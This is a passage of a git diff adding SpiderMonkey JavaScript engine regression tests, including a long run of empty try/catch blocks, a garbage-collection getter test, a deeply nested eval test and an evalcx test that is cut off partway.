+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {
+ if (2 == 0) { } else { []; }
+} catch (e) {}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-563210.js b/js/src/tests/js1_8_5/regress/regress-563210.js
new file mode 100644
index 000000000..d5ba6b2e7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-563210.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Nicholas Nethercote
+ */
+
+if (typeof gczeal != 'undefined' && typeof gc != 'undefined') {
+ try
+ {
+ try {
+ __defineGetter__("x", gc)
+ } catch (e) {}
+ gczeal(1)
+ print(x)(Array(-8))
+ }
+ catch(ex)
+ {
+ }
+}
+
+// Reset gczeal.
+if (typeof gczeal !== 'undefined')
+ gczeal(0)
+
+reportCompare("no assertion failure", "no assertion failure", "bug 563210");
+
+
diff --git a/js/src/tests/js1_8_5/regress/regress-563221.js b/js/src/tests/js1_8_5/regress/regress-563221.js
new file mode 100644
index 000000000..beb82b499
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-563221.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+"" + eval("(function () { if (x) ; else if (y) n(); else { " + Array(10000).join("e;") + " } });");
+
+if (this.reportCompare)
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-566549.js b/js/src/tests/js1_8_5/regress/regress-566549.js
new file mode 100644
index 000000000..3c5decd0f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-566549.js
@@ -0,0 +1,20 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Jesse Ruderman <jruderman@gmail.com>,
+// Gary Kwong <gary@rumblingedge.com>,
+// Jason Orendorff <jorendorff@mozilla.com>
+
+try {
+ evalcx('var p;', []);
+} catch (exc) {}
+
+try {
+ evalcx('');
